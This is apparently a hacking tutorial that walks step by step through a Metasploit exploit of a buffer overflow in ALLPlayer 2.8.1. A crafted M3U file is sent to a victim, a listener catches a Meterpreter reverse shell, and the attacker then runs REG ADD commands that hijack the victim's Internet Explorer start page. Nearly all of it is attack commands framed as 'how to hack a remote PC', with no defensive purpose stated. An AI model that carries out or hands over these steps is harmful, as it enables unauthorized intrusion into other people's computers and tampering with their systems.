This Metasploit module exploits a stack-based buffer overflow vulnerability in ALLPlayer 2.8.1, caused by a long string in a playlist entry. By persuading the victim to open a specially-crafted .M3U file, a remote attacker could execute arbitrary code on the system or cause the application to crash. This Metasploit module has been tested successfully on Windows 7 SP1.
Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
Now type use exploit/windows/fileformat/allplayer_m3u_bof
msf exploit (allplayer_m3u_bof)>set payload windows/meterpreter/reverse_tcp
msf exploit (allplayer_m3u_bof)>set lhost 192.168.0.104 (IP of Local Host)
msf exploit (allplayer_m3u_bof)>exploit
After we successfully generate the malicious m3u File, it will stored on your local computer
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.104
Now send your msf.m3u files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer
First Hack the Victim PC Using Metasploit (Tutorial How to Hack Remote PC)
Once you got the meterpreter session use ‘shell ‘command to get command prompt of the target
Set Your Desired Website as Home Page
Type the following commands in the command prompt. (Enter the web address of the desired website; here we have taken an example of (http://www.hackingarticles.in/)
REG ADD “HKCU\Software\Microsoft\Internet Explorer\Main” /V “Start Page” /D “http://www.hackingarticles.in/” /F
Now, open the internet explorer in the remote victim PC, we would see that the chosen webpage will open as the homepage.
Stylish Home Page
(Use this link www.shinysearch.com to put your own desired text.)
REG ADD “HKCU\Software\Microsoft\Internet Explorer\Main” /V “Start Page” /D “http://www.shinysearch.com/myhome.php?theme=matrix<ext=www.hackingarticles.in” /F
Check out this screenshot seen after opening the internet explorer.
Insert Your Image in Google Background
Type the following command)
(Take the reference of the link http://www.hackingarticles.in/insert-image-google-search/ to put your own desired image in the background)
REG ADD “HKCU\Software\Microsoft\Internet Explorer\Main” /V “Start Page” /D “http://www.shinysearch.com/myhome.php?style=mypic_full&img=b26b7e0e353d82b7642905e68ca5476e<ext=Your%20Name” /F
Open the internet explorer; we would get the image in the Google search background.